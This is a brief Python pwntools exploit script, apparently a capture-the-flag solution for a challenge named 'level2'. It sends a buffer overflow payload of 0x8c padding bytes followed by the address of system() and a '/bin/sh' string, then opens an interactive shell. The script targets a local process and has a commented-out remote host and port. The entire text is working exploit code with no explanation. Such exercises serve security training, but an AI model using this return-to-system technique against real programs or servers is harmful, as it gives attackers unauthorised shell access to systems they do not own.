06_level2

from pwn import*
##context.log_level = 'debug'
p  = process("./level2")
##p = remote("111.198.29.45","31290")
system_addr = 0x08048320
bin_sh_addr = 0x804A024


payload ='A'*0x8c
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)



p.sendline(payload)
p.interactive()